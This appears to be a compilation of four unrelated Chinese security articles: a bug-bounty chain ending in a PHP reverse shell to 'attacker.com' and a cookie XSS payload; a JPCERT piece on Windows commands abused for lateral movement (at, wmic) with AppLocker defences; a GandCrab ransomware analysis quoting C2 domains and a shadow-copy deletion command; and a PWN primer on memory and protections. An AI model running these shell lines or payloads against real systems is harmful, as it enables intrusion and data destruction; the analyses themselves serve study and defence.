原文链接：<https://medium.com/@mastomi/bug-bounty-exploiting-cookie-based-xss-by-finding-rce-a3e3e80041f3>
### 前言
在bugcrowd上挖漏洞的时候，我发现基于cookie型的XSS漏洞，给出的评级仅是P5，并没有达到严重的程度，这将会导致可能拿不到奖金，这是非常遗憾的一件事情。
### 信息泄露
在bugcrowd中搜索一段时间之后，我并没有找到具有XSS漏洞的子域名，然后我试着使用目录爆破进行查找，在其中一个子域名上，我找到了一个有趣的文件。
https://redacted.com/dir/_notes/dwsync.xml
文件`dwsync.xml`是由Dreamweaver生成的，这个文件中包含与网站文件相关的信息。
### SQL注入
默认情况下，访问网站需要凭据，然而，我无法在该网站上注册账户。上面我爆破得到的信息利用一下，根据`dwsync.xml`文件中的信息，我们可以获得与目标网站上的文件相关的信息。所以我试图访问其中一个文件，例如我试图访问该文件`redacted.php`。
在网站上看到会出现一条错误消息`Undefined index: ver`，这意味着在页面上有一些ver尚未定义的变量。为此，我还将URL更改为：
https://redacted.com/dir/redacted.php?ver=1
页面的外观不仅发生变化，而且还显示数字`1`
虽然，不知道数字`1`的含义是什么，但是看到URL中的参数，我试着在符号上添加参数，结果......
这个回显的错误看起来很熟悉，我立即尝试在SQLmap的帮助下进行SQL注入。获得下面的数据库列表：
1. available databases [5]:
2. [*] information_schema
3. [*] mysql
4. [*] performance_schema
5. [*] redacted_db
6. [*] tmp
### 身份验证绕过
由于已经发现了SQL注入漏洞，我试着将shell上传到目标服务器，但是结果失败了，所以我只能使用通过使用sql注入得到的网站数据，登录网站。
在提取`redacted_db`数据库时，我找到了一个名为`user_tbl`的表，在表格`user`中，提供了目标站点很多信息，但是很不幸的是，password使用了MD5进行加密，当我试着破解的时候，没有得到任何反应。
我只能去找在该数据库中的其它表，继续深入，我找到一个名为`session_tbl`的表，在该表中，只有三个列：`id`，`user_id`和`session`。
我认为`session`中包含该网站的用户，我在`user_tbl`表中，查找具有更高级别的用户，并在表中查找`session`列，
然后，我尝试使用会话名称将从数据库获得的会话`session`值输入到Cookie网站中，最后我成功的登录了该网站。
### 无限制的文件上传
在登录目标站点之后，我继续寻找其它可以被利用的漏洞，在网站有一个文件上传的功能，我试着测试一下。
我尝试上传后缀名为`.phtml`的文件，但是被拒绝上传。
但我怀疑，过滤器只能在客户端运行。也就是说，有可能在Burpsuite等工具的帮助下绕过这个过滤。所以我试着使用burp，再次上传文件，这次是的后缀名是：`.jpg`，然后使用Burpsuite拦截，将后缀名改为`.phtml`的后缀名。
使用上述方法后，文件已经成功上传，查看响应，该文件存储在AWS中，而不是存储在目标站点上。
https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml
### 远程代码执行
发现上传的文件存储在AWS中，知道自己在这个文件上可以做的事情并不多，因为我们的目标是Web服务器而不是AWS服务器。所以我也尝试了解目标服务器显示的响应。
/var/www/html/redacted/../redacted****/var/www/html/redacted/../redacted/info.phtml<br>Uploading part 2 of /var/www/html/redacted/../redacted/info.phtml.
Uploaded /var/www/html/redacted/../redacted/info.phtml to https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml.
SUCCESS 52673, 98235
从上面的响应中，我假设上传的文件除了存储在AWS上之外，有可能存储在目标站点的`redacted`目录下。所以我尝试访问以下网址：
https://redacted.com/redacted/redacted/info.phtml
但是找不到该文件
经过一段时间的思考之后，我认为如果回响显示目录，那么`redacted`与我上传的文件肯定是相关的。
假设：我们上传的文件存储在`redacted`中的`sementara`目录下，然后经过一段时间转移AWS服务器中的`lempar`目录下。
如果上述的假设是正确的，那么在转移到AWS之前，我们的文件将在目标站点的服务器上停留一段时间。
为了验证这个假设，我使用burpsuite进行爆破`redacted`前面目录中文件的url。
有一段时间该文件位于目标服务器上（HTTP回显是200的时候），并且在该文件消失不久（HTTP回显是404的时候），表明该文件已经转移至AWS服务器中。
根据上面的描述，我们可以上传PHP webshell以从目标网站拿到shell
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/1337 0>&1'");
最后我还可以访问目标服务器。
在拿到shell之后，我放置了一个包含javascript的HTML文件，以便在该网站上触发XSS攻击。
使用的HTML代码如下
<script>document.cookie = "evil=%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E@;path=/;domain=.redacted.com;";</script>
我们可以在`redacted.com`上创建一个名为Evil的cookie，cookie中包含XSS payload：`<img src=x
onerror=alert(1)>`，因此，当访问该站点时，将加载Cookie并触发XSS。
### 结论
下面总结一些挖漏洞的技巧：
1. 当发现低危漏洞时，最好不要立即上报，尽量扩大漏洞影响范围。
2. 如果你发现该网站没有注册功能，使用dirsearch对目录进行爆破，爆破之后发现网站只显示一个登录页面，并没有注册功能，说明该网站只能由内部人员进行访问，对于这种类型的网站，通常漏洞还是很多的。
3. 如果你发现SQL注入并且数据库上的用户名密码经过加密，可以查询该数据库下面的其它表，可能会有其它发现。
4. 当你找到上传的测试点时，如果无法上传hell，尝试使用burp 更改上传文件的后缀名，进行上传操作。
感谢你的阅读，希望这篇文章可以给你启发。 | 社区文章 |
# 解析黑客对Windows指令的使用与防御
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html>
译文仅供参考，具体内容表达以及含义原文为准。
大家好，我是Shusei Tomonaga。
在windows系统中，有大量的指令在后台默默运行着，但是，真正对用户有用的指令只占很小的一部分。另外，JPCERT/CC发现，大部分黑客在入侵的时候，都会使用windows指令收集信息，或者上传后门程序进行提权。这里值得注意的是，如果黑客使用的指令和普通用户使用的指令有太大差距的话，那么我们是可以用防火墙进行识别，并且对黑客的使用的windows指令进行限制。
通过这篇文章，我将揭示windows的指令，并且演示一下如何预防黑客使用windows指令进行攻击。实际上，就是对普通用户和黑客使用的windows命令进行区分，并且把一些普通用户不会使用的指令，而且能够对操作系统造成安全影响的指令进行隔离。
黑客往往会上传一个后门文件，从而远程控制windows系统，再使用windows之类。比如Metasploit,
PHP后门等等。在学术用语上，我们把这个后门程序叫做RAT(Remote Access Tool/Trojan)。
如果黑客在一个windows操作系统中上传了一个后门程序，那么他往往会做下面这些事情来收集信息等。我给他们分为了三个部分。
1.调查：收集被感染病毒系统的信息，比如IP段，MAC地址，配置，内网IP等等。
2.信息采集：搜索系统内被保存的文件，找到可利用的信息，并且对感染系统进行提取等等。
3.病毒传播：随后会查看内网里是否还有其它系统等等，并且逐一进行渗透和上传后门进行控制。
实际上，上面这些行为完全可以通过windows的指令来完成，而一般的杀毒软件也难以察觉。我提取了三个黑客的C&C服务器的系统日志，得到了一些有趣的数据。下面展示给大家。
**1.调查：**
这个表列出了攻击者收集系统信息时常用的windows指令。而下面的执行次数是我们在几个黑客的C&C服务器提取出来的日志得到的。
我们发现，大部分黑客都会使用“tasklist”, “ver”, “ipconfig” 和
“systeminfo”指令。大概是为了确保他们入侵的不是一个沙盒环境之类的吧，并且黑客通过这些指令得到了很多有用的信息，比如操作系统环境，网络环境等等。
**2.信息采集**
下面的表是黑客经常使用的指令对目标进行信息收集和远程访问。
我们发现，黑客经常使用“dir” 和“type”来搜索文件。通常，他们会对“dir”命令进行一些设置，列出所有他们想要的文件。
对于网络的搜索，“net”命令是黑客经常用到的。下面是出现几率比较高的命令。
net view: 获取连接域的资源列表
net user: 管理本地/域帐户
net localgroup: 本地用户的权限或者所在组
net group: 获取用户域组的列表
net use: 获得资源
下面这些命令虽然只存在于window sever系统，并不存在于普通的windows系统内。但是，黑客可以安装组件，并且使用这些命令。
dsquery: 搜索在激活目录内的账号
csvde: 在激活目录内搜索账号的相关信息
**3.病毒传播**
下面这张表是黑客传播病毒使用几率比较高的10个windows命令。
注:这个”wmic”命令也常被用于调查步骤。
这个“at”和“wmic”指令经常被用于执行病毒传播。
黑客首先先使用一个“at”指令传播一个后门程序
指令：
at \\[remote host name or IP address] 12:00 cmd /c "C:windowstempmal.exe"
随后使用一个“wmic”指令执行后门程序
指令：
wmic /node:[IP address] /user:”[user name]” /password:”[password]” process
call create “cmd /c
c:WindowsSystem32net.exe user”
**限制一些不安全，而且不是必须使用的** **windows** **指令**
说实话，这些指令大部分都是黑客们在使用，普通的用户往往就不需要。但是，我们可以使用AppLocker或者其它的防火墙软件设置一些规则，来限制这些指令。
比如，如果你想限制“net”命令，可以根据下面的图来设置。更多的AppLocker规则信息大家可以查看Microsoft的官网。
在开放了AppLocker后，它会允许windows执行所有在规则之外的命令，但是，一旦如果遇到被加入规则的命令，那么就会给予限制，并且把命令纪录在历史文档里面。如果操作系统被黑了之后，大家可以查看历史纪录文件，来分析黑客使用的命令。
当然，AppLocker也可以纪录规则里面的命令，而不给予屏蔽。这样，就算用户自己使用了规则里面的指令也可以通过。省去了很多麻烦。实际上，AppLocker并不能完全的屏蔽黑客的攻击，但是拿它当作一个监视的工具很不错。
在有针对性的攻击里面。
黑客不仅使用恶意软件来实现他们的目的，还会使用大量的windows指令。说实话，我并不指望AppLocker能够屏蔽所有的威胁指令，但是如果用它来做监视器，那么在被入侵之后，我们就可以发现黑客使用的命令，并且制定出新的安全方案来预防。
**A: 闲散并且单一黑客的C &C服务器内得到的常用命令：**
1.调查
2.信息收集
3.病毒传播
**B: 有组织性的黑客的C &C服务内得到的常用的指令**
1.调查
2.信息收集
3.病毒传播
**C: 有组织性的黑客的C &C服务内得到的常用的指令**
1.调查
2.信息收集
好吧，第三个黑客组织还算有良心，没有传播病毒。
谢谢大家的阅读，同时祝大家新年快乐。
相关文献链接：
[https://technet.microsoft.com/en-us/library/dd759117.aspx](https://technet.microsoft.com/en-us/library/dd759117.aspx)
[https://technet.microsoft.com/en-us/library/dd723693%28v=ws.10%29.aspx](https://technet.microsoft.com/en-us/library/dd723693%28v=ws.10%29.aspx) | 社区文章 |
# GandCrab勒索病毒分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
呼，历时4天半，终于完成了对GandCrab病毒的分析，这个病毒是在52破解ScareCrowL前辈的帖子上参考借鉴而来，漫漫病毒分析之路，任重且道远，还好，我们拥有巨人的肩膀，让我们看的更远更多。
首先讲一下，为什么分析这个病毒，在四叶草公司实习，几天下来，有点厌倦分析病毒这件事了，哇，想到以后还要干好多年，心态炸了。公司峰哥给我了两个样本，说现在流行勒索和挖矿病毒，客户也中过，叫我去试试分析。然后就有了这篇病毒分析报告。顿时，分析出来有不一样的收获，这是传统病毒不一样的。
一月份，GandCrab勒索软件首次亮相，这是一种着名的恶意软件，分布在黑暗网络上，可能源于俄罗斯，主要针对斯堪的纳维亚和英语国家。……（码字太麻烦了，这里有一份关于GandCrab简介，了解一下：[http://baijiahao.baidu.com/s?id=1599794170709869995&wfr=spider&for=pc](http://baijiahao.baidu.com/s?id=1599794170709869995&wfr=spider&for=pc)）
## 二：样本信息
* 样本名称：hmieuy.exe
* 样本md5：f42774332fb637650ff0e524ce1b1685
* 是否加壳：无壳
* 编译语言：Microsoft Visual C++ v.10 – 2010 ( E8 )
* 样本来源：[https://www.52pojie.cn/forum.php?mod=viewthread&tid=712552&extra=page%3D1%26filter%3Dtypeid%26typeid%3D62](https://www.52pojie.cn/forum.php?mod=viewthread&tid=712552&extra=page%3D1%26filter%3Dtypeid%26typeid%3D62)
## 三：行为分析
这个样本的主要作用就是从资源段中检索数据，然后把其加载到内存，经过解密，然后调用解密好的shellcode。
shellcode主要是调用LoadLibrary和GetProcAddress。获取所需要函数的地址，以便后期的生成新的病毒文件
重新开辟内存空间，解密新的PE文件，并把它映射入内存，复制文件头和各个区表。
修复IAT，这样就形成了新的病毒文件，命名为PE1.exe
PE1.exe采用dll反射注入技术，利用ReflectiveLoader要完成的任务是对自身的装载(这一切都是在内存中发生)
调用dll文件的入口点
核心程序的行为
1. 获取系统的DNS网域，本地用户名，键盘区域，CPU架构，CPU信息，磁盘驱动器
2. 连接病毒服务器
3. 判断病毒进程在系统中是否互斥，如果存在多个相同病毒进程，终止进程。
4. 检查杀毒软件驱动，如果没有，则复制自身，修改注册表自启动
5. 寻找并终止指定的进程，因为这些进程可能会影响到对文件的加密
6. 利用机器数据生成加密赎金ID
7. 启用微软加密服务
8. 对磁盘文件除了必要文件必要路径下进行加密
9. 检查进程安全令牌
10. 删除卷影副本，避免管理员利用副本进行恢复。
11. 执行指定的shell操作。
## 四：样本分析
### 原始样本(hmieuy.exe)
通读代码，发现EnumResourceNamesA
API函数，函数目的是枚举指定的二进制资源，我们可以猜测程序功能是，枚举资源文件，然后映射如内存，经过解密，形成shellcode，然后执行shellcode。
修改内存保护设置，映射文件到内存，然后解密shellcode并且执行shellcode。
这是第一层保护
### shellcode(内存中dump而来)
利用PEB，获取Kernel32.dll的基地址。
获取LoadLibrary和GetProcAddress的地址，以便在函数中调用其他函数。这个是使用shellcode最先做的两件事情。
再次申请空间，加载解密后续的病毒代码，首先加载文件头，然后遍历节区，
修改IAT
### PE1.exe（内存中dump而来）
观察tmain函数，发现函数流程就是经过三个验证，最后执行sub_11A8.而这个函数是反射式dll注入的主要的函数。
调用了函数sub_获取的机器信息和dll导出函数ReflectiveLoader
修改内存保护设置
调用函数ReflectiveLoader，反射式dll注入自身[这是病毒保护自我的重点，了解反射式dll注入的流程]
1.需要获取被加载到内存dll的基地址，连自己在内存的哪里都不知道，还玩的屁啊
2.利用模块和函数的Hash来获取主要函数的地址。
3.分配内存区域，存放dll代码(之前应该已经注入好了)
4.修复，获取IAT
5.修复重定位表
6.得到OEP，跳转到dll文件的OEP地址。
### PE2.dll (内存中dump而来)
#### 整体分析
病毒发作的前期：
病毒发作的中期：
病毒发作的晚期：
#### 模块1：收集机器信息，链接url读取文件，生成互斥体
调用GetInforAndOpenUrl(10007580)获取系统信息，检测进程中是否存在指定给的杀毒软件，然后连接指定的url读取文件
* 系统的DNS网域，
* 本地用户名，
* 键盘区域，但是病毒并不感染俄罗斯用户
* CPU架构，
* CPU信息，
* 磁盘驱动器
* 检测进程中是否存在指定给的杀毒软件
* 连接到指定的URL，并且读取文件
* 打开Http请求，读取网络文件至缓冲区
* 以自身的硬件信息，生成ranson-id，并由此创建互斥体。
#### 模块2：检测杀软驱动
检查是否有卡巴斯基和诺顿等杀软的驱动，先检查是否存在卡巴斯基的驱动，如果存在，XXX，如果不存在，在检查其他杀软的驱动，如果都不存在，那就将自身复制，同时写入注册表自启动项。
将病毒释放到系统目录下。
将释放的文件写入注册表Runonce中，以实现病毒的自启。
#### 模块3：关闭相关进程
由于在进程文件加密的时候，不允许进程占用，所以需要终止某些特定的进程。
#### 模块4：利用机器数据生成RansomID
产生了支付赎金的赎金ID，这个是由的pc_group和机器识别码生成的，
同时为了受害者方便交付赎金，提供了安装洋葱浏览器的教程，卧槽真的贴心。
#### 模块5：启用微软的CSP加密服务
利用CryptAcquireContextW创建CSP密码容器句柄
利用 CryptGenKey产生随机秘钥
生成密钥有两种方式，CryptGenKey（生成随机密钥）和CryptImportKey（导入密钥），病毒使用了CryptGenKey方式。另：Microsoft
Base Cryptographic Provider v1.0：密钥长度为512位。Microsoft Enhanced Cryptographic
Provider v1.0：密钥长度为1024位
加密
销毁容器
#### 模块6：发送Base加密后的公秘钥
产生特征的编码字符
将RSA生成的秘钥和公钥利用CryptBinaryToStringA函数Base64加密，以便后期网路传输。
检索系统信息，然后再进行Base64编码。
将获取的机器信息的Base64编码连接到秘钥的后面
读取之前释放到Hacky目录下的病毒，可以是利用后续的函数进行父子进程共享该段数据。
建立管道通信，解析域名，判断网络连接是否正常
#### 模块7：建立管道通信
首先将三个域名传入。
* malwarehunterteam.bit
* politiaromana.bit
* gdcb.bit
创建管道连接，管道的作用是实现进程之间的消息交互
利用管道的通信机制，创建一个子进程，命令行参数是nslookup %s
ns1.virmach.ru,目的是解析之前穿入的三个域名。读取文件，判断是否联网，如果没有联网，readfile的buf存在error信息，程序进程死循环
管道输入的一般新步骤：
修补可执行文件，我们将一些关键A24FF4等跳转jmp或者nop掉即可实现。
#### 模块8：文件加密部分
病毒首先需要获取机器的磁盘驱动器。除了CD-ROM其他的驱动器都被感染，对于搜索到的每个驱动器，释放一个线程，进行加密。加快加密的速度。
病毒不会感染特殊目录和特殊格式的文件
然后在驱动器中遍历，如果是文档则递归调用原函数，负责调用加密函数。
管道通信
#### 模块9：安全令牌检测
检测进程的安全令牌
#### 模块10：删除卷影副本
利用shellExecute函数执行cmd，参数是/c vssadmin delete shadows /all
/quiet，删除卷影副本，目的是不让管理员恢复数据。
## 五：技术总结
GandCrab病毒主要采用到的技术有，shellcode藏匿，利用shellcode的短小的特点，触发shellcode到内存，减少了被杀毒软件查杀的风险。经过第一层加密后，病毒释放了一个恶意代码文件(PE1.exe)，该文件采用的是反射式dll注入技术，该技术不想传统的dll注入需要在文件系统中产生文件，所要执行的dll全在内存中，这是第二层保护手段。经过两次dump后，可以得到本次病毒的主体文件，建立了管道，实现子进程和父进程之间的通信。
### shellcode
需要细细的看，参考自：<https://zhuanlan.zhihu.com/p/28788521>
### 反射式dll注入
传统的dll注入，是在文件系统中存放一个dll模块，然后进程利用LoadLibrary和CreateRemoteThread这两个API函数装载模块到内存空间，实现注入。而杀软在布置Hook的时候，重点钩取的就是这两种API函数。
反射式dll注入不需要dll文件落地，减少被查杀的风险。首先将需要注入的dll写入进程内存，然后为该dll添加一个导出函数，利用这个导出函数让其自动的装载dll。
主要有两个方向的问题：第一个如何将dll写入内存(注射器的实现),第二个如果调用自身(ReflectiveLoader的实现)
参考自：<http://www.freebuf.com/articles/system/151161.html>
#### 注射器的实现
* 1.将待注入DLL读入自身内存(利用解密磁盘上加密的文件、网络传输等方式避免文件落地)
* 2.利用VirtualAlloc和WriteProcessMemory在目标进程中写入待注入的DLL文件
* 3.利用CreateRemoteThread等函数启动位于目标进程中的ReflectiveLoader
#### ReflectiveLoader的实现
* 1.定位DLL文件在内存中的基址
* 2.获取所需的系统API
* 3.分配一片用来装载DLL的空间
* 4.复制PE文件头和各个节
* 5.处理DLL的引入表,修复重定位表
* 6.调用DLL入口点
### 管道通信
管道是一种用于在进程间共享数据的机制，其实质是一段共享内存，病毒利用了管道进行父子进程的通信，这样子进程就可以直接影响父进程内存。为实现父子进程间通信，需要对子进程的管道进行重定向：创建子进程函数
CreateProcess中有一个参数STARUIINFO，默认情况下子进程的输入输出管道是标准输入输出流，可以通过下面的方法实现管道重定向：
STARTUPINFO si;
si.hStdInput = hPipeInputRead; //输入由标准输入 -> 从管道中读取
si.hStdOutput = hPipeOutputWrite; //输出由标准输出 -> 输出到管道
摘录自[https://www.52pojie.cn/forum.php?mod=viewthread&tid=712552&extra=page%3D1%26filter%3Dtypeid%26typeid%3D62](https://www.52pojie.cn/forum.php?mod=viewthread&tid=712552&extra=page%3D1%26filter%3Dtypeid%26typeid%3D62) | 社区文章 |
# PWN入门系列（四）：栈终结篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x0 PWN入门系列文章列表
[Mac 环境下 PWN入门系列（一）](https://www.anquanke.com/post/id/187922)
[Mac 环境下 PWN入门系列（二）](https://www.anquanke.com/post/id/189960)
[Mac 环境下 PWN入门系列（三）](https://www.anquanke.com/post/id/193115)
## 0x1 前言
在群里看到了一些表哥在讨论一个基础的PWN栈溢出题目, 虽然自己忙着备考，但是一不小心忍不住 **觉得很简单** 然后熬了一晚 **没有结果**
,最后才发现自己在学习pwn的过程中忽略了很多基础知识的学习和巩固，学习PWN必须要有扎实的基础, 多看一些书籍<<x86汇编语言-从实模式到保护模式>>、<<程序员的自我修养>>,比如晚上睡觉前偷偷看一点(暗地里学习……….)
## 0x2 环境说明
调试环境: docker 集成环境
# 备份每一次的环境,防止丢失
docker commit -p a974e95a1 mypwn-backup
docker save -o mypwn.tar mypwn-backup
# 通过加载备份的镜像还原PWN调试环境
docker load -i mypwn.tar
系统类型:
root@mypwn:/ctf/work# lsb_release -d
Description: Ubuntu 18.04.2 LTS
## 0x3 浅析x86内存管理架构
### 0x3.1 实模式 、保护模式
x86 两种基本工作运行方式: 实模式 、保护模式
一般我们划分内存单元都是字单元,占8位,
32位程序则说明占用4个字单元,按照4字节来对齐读取。
64位则占用8个字内存单元,按照8字节来对齐再一次性读取8字节来处理。
> CPU工作模式是指: cpu的寻址方式、寄存器大小等用来反应CPU的工作流程的概念。
>
> * 1.实模式
>
>
> CPU加电并经历最初的混沌状态后,首先进入的就是实模式,是早期8086处理器工作的模式。在该模式下,逻辑地址转换后即为物理地址。
> 为什么需要这个模式呢,其实我觉得还是硬件决定的。
> 当时8088CPU有20位地址线,地址空间就是2^20byte = 1MB 大小
> 那么如何去选择这些地址空间就有了硬件上的难题了。
> 一般来说译码器都是3-8 4-16这种组合
> 寄存器2的倍数,没有20位的寄存器怎么办呢?
> 译码器我们学过两块3-8 转为4-16,那么我们就能考虑两块16寄存器搞个20位寄存器啦。
> 8088CPU共有8个16位通用寄存器,4个16位段寄存器
> 段寄存器:
>
> * cs(code segement):代码段寄存器
> * ds(data segement):数据段寄存器
> * ss(stack segement):堆栈段寄存器
> * es(extra segement):附加段寄存器
> * fs(flag segment):标志段寄存器
> * gs(global segement):全局段寄存器
>
>
> 段寄存器决定 **段基址**
> 通用寄存器决定 **段内偏移量**
> **物理地址 = 段基址 <<4 + 段内偏移量**
> 举个例子:
> 段基址是16位:0xff00然后左移4位(4位二进制表示1个16进制)就变成了 0xff000,这样不就是20位地址了吗？
> 0xff110 = 0xff00<<4 + 0x0110
>
> * 2.保护模式
>
>
> 操作系统运行最常见的模式,顾名思义比实模式多了保护措施,但是为了实现兼容，寻址方式没太大改变。
> 32位系统能跑4GB, 64位系统能跑128G,再高的内存就要换系统了。
> 保护模式增加了个 **全局描述符表(GDT)** 结构,段寄存器不再存放段基址,而是存放这个GDT的索引。
> GDT是在进入保护模式时必须要先定义好。
> GDT的每一个表项都是一个段描述符只能定义一个内存短。
> 特权值就存储在段寄存器的低2位: 2^2=4 对应 0、1、2、3
> linux一般只有内核态和用户态,也就是两种特权值。
### 0x3.2 地址的概念
物理地址空间: 硬件层面的线路分布
线性地址空间(虚拟地址空间): 线性地址空间对应映射到物理地址空间,线性地址就是作为索引的存在。
地址: 逻辑地址、线性地址、物理地址
逻辑地址: 段寄存器+段内偏移量组成,常见的地址指针*p存放的就是偏移量。
线性地址(虚拟地址):逻辑地址进行分段转换比如左移4位再相加偏移得到。
物理地址:
作用于物理层面,是物理地址空间的索引
* 启动分段机制，未启动分页机制：逻辑地址—> (分段地址转换) —>线性地址—->物理地址
* 启动分段和分页机制：逻辑地址—> (分段地址转换) —>线性地址—>分页地址转换) —>物理地址
### 0x3.3 内存管理机制
内存管理机制: 1.分段机制 2.分页机制 3.段页机制
**分段机制** (必须开启的)
分段机制主要是解决”地址总线宽度一般大于寄存器宽度”这个问题。
优点:适合处理复杂系统
**分页机制(可选开启):**
一般的页空间是4k,也就是2^12,也就是12位对应4个16进制数,这个后面PIE会再次涉及,页内的空间是连续存储的。
分页机制将程序划分为多个页,按需来调入内存,能有效提高内存的利用率。
段页机制:
其实就是在不同的段里面引入页机制。
优点: 分页、分段的优点
缺点: 多次重复查表
更多详细内容: [CPU的实模式和保护模式(一)](https://zhuanlan.zhihu.com/p/42309472)
## 0x4 PWN保护说明
我们经常第一步是查保护:
root@mypwn:/ctf/work/MiniPWN# checksec vuln5
[*] '/ctf/work/MiniPWN/vuln5'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
(1)Arch:
* 说明程序的架构是x86架构-32位程序-小段字节序号
(2)RELRO:
* 设置符号重定向表格为只读或在程序启动时就解析所有动态符号,从而减少对GOT表的攻击。
* 编译选项: 关闭 `-z morello` 开启(部分)`-z lazy` 开启(完全)`-z now`
(3)Stack:
* 栈溢出保护
* 编译选项: 关闭`-fno-stack-protector` 启用`-fstack-protector-all`
(4) NX
* 堆栈不可执行,也就是不能在栈上执行shellcode,window下类似DEP(数据执行保护)
* 编译选项: 关闭 `-z execstack` 开启`-z noexecstack`
(5)PIE
* 内存地址全随机化(Linux下pie开启必须同时开启aslr)
* 编译选项: 关闭`-no-pie` 开启`-pie -fPIC`(默认开启)
(6)RWX
* BSS段可读写执行
全保护关闭编译命令:
生成32位程序: `-m32` 生成64位程序: `-m64`
gcc -g -fno-stack-protector -z execstack -no-pie -z norelro -m32 -o vuln 1.c
更多内容推荐参考:checksec及其包含的保护机制
## 0x5 浅析Linux下PIE、ASLR与libc的那些事
### 0x5.1 PIE机理分析
如果对PIE不了解的话,就很容易搞混PIE与地址基址的关系,笔者在做题的时候就经常遇到这些错误。
**Linux 下的PIE与ASLR**
PIE(position-independent
execute),地址无关可执行文件,是在编译时将程序编译为位置无关,主要负责的是代码段和数据段(.data段 .bss段)的地址随机化工作.
ASLR则主要负责其他内存的地址随机化。
**PIE如何作用于ELF可执行文件**
ELF程序运行的时候是cpu在硬盘上调入加载进内存的,这个时候程序就有了内存地址空间。
ELF的文件结构:
ELF file format:
+---------------+
| File header | # 文件头保存每个段类型和长度
+---------------+
| .text section | # 代码段 存放代码和指令
+---------------+
| .data section | # 数据段
+---------------+
| .bss section | # bss段 存放未初始化的全局变量和静态变量,一般可读写
+---------------+ # 是存放shellcode的好地方。
| ... |
+---------------+
| xxx section |# 还有字符串段、符号表段行号表段等
+---------------+
# 局部变量和函数参数分别在栈中分配(栈和堆分别在内存中分配,在elf文件中不存在对应的部分)
备忘录:
查看每个段的分布命令
`readelf -S vuln5`
> elf中常见的段有如下几种：
> 代码段 text 存放函数指令
> 数据段 data 存放已初始化的全局变量和静态变量，
> 只读数据段 rodata 存放只读常量或const关键字标识的全局变量
> bss段 bss 存放未初始化的全局变量和静态变量，这些变量由于为初始化，所以没有必要在elf中为其分配空间。bss段的长度总为0。
> 调试信息段 debug 存放调试信息
> 行号表 line 存放编译器代码行号和指令的duiing关系
> 字符串表 strtab 存储elf中存储的各种字符串
> 符号表 symtab elf中到处的符号，
当把ELF文件加载到内存的时候,各种段就会被装载在内存地址空间中,形成程序自己的内存空间布局。
查看各个段的加载内存布局命令:
`objdump -h vuln5`
+------------------------+ Oxffffffff
| kernel space |
+------------------------+ 0xC0000000
| stack |
+------------------------+
| |
| unused |
| |
+------------------------+
| dynamic libraries |
+------------------------+ 0x40000000
| |
| unused |
| |
+------------------------+
| heap | # 堆 动态内存分配的空间 进程调用
+------------------------+ # malloc、free等函数时变化
| read/write sections |
| (.data .bss) |
+------------------------+
| read only sections |
| (.init .rodata .text) |
+------------------------+ 0x08048000
| reserved |
+------------------------+
前面我们可以知道程序加载内存的时候不是一次性加载的,而是分页按需加载的,这个时候PIE只能作用于单个内存页,也就是说页内存里面的地址不会被随机化,一般来说页内存的大小是4k,刚好对应了12位,对应16进制的后3位,这就是PIE的一部分缺陷,由此也可以衍生一些相关的攻击点。
这也是ida里面看开了PIE的程序,代码段就只显示后3位的原因。
ps.这里还有个约定俗成的 **特点** :
64位程序pie是以7f开头, 32位程序pie则是以f7开头。
root@mypwn:/ctf/work/MiniPWN# ldd vuln64
linux-vdso.so.1 (0x00007ffe65386000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8e2d466000)
/lib64/ld-linux-x86-64.so.2 (0x00007f8e2d857000)
root@mypwn:/ctf/work/MiniPWN# ldd vuln5
linux-gate.so.1 (0xf76ed000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7504000)
/lib/ld-linux.so.2 (0xf76ee000)
### 0x5.2 PIE与ASLR的关系
**Linux的ASLR + PIE 作用 == window下ASLR的作用**
Linux的ASLR共有3个级别0、1、2
> 0: 关闭ASLR,没有随机化,堆栈基地址每次都相同,libc加载地址也相同
> 1: 普通ASLR mmap、栈基地址、libc加载随机化,但是堆没有随机化
> 2.增强ASLR,增加堆随机化
PIE开启的时候,ASLR必须开启,所以说PIE可以间接认为具有ASLR的功能。
LInux下默认开启ASLR等级且为2
`cat /proc/sys/kernel/randomize_va_space`
`echo 0 >/proc/sys/kernel/randomize_va_space`
### 0x5.3 libc基地址的获取方式
由于Linux默认开启了ASLR,所以就算你开不开PIE,每次加载的时候libc地址都是会变化的(原因往上翻)
[*] '/ctf/work/MiniPWN/vuln5'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
root@mypwn:/ctf/work/MiniPWN# ldd vuln5
linux-gate.so.1 (0xf76f4000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf750b000)
/lib/ld-linux.so.2 (0xf76f5000)
root@mypwn:/ctf/work/MiniPWN# ldd vuln5
linux-gate.so.1 (0xf7794000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75ab000)
/lib/ld-linux.so.2 (0xf7795000)
可以看到每次运行的时候libc基地址都是变化的。
那么我们如何获取到Libc基地址,那么就只能通过运行中的程序泄漏,
或者gdb获取libc基地址修改程序流来达到目的了。
### 0x5.4 浅析Linux下程序装载SO共享库机制
刚开始学PWN的时候,学习到retlibc,其实还不是很理解一些got表,plt表的东西,也就只是按照大家的payload来使用了,下面让我们深入浅出来学习一番程序是如何调用libc里面的函数的。
关于这类型的文章google一大堆,这里我简要谈下一些关键的知识点。
**libc.so 是什么?**
libc.so 是linux下C语言库中的运行库glibc的动态链接版, 其中包含了大量可利用的函数。
**什么是动态链接(Dynamic linking)?**
动态链接是指在程序装载的时通过 **动态链接器**
将程序所需的所有动态链接库(so等)装载至进程空间中。当程序运行时才将他们链接在一起形成一个完整的程序,这样就比 **静态链接**
节约内存和磁盘空间,而且具有更高的扩展性。
动态链接库: Linux系统中ELF动态链接文件被称为 **动态分享对象(Dynamic Shared Objects)**
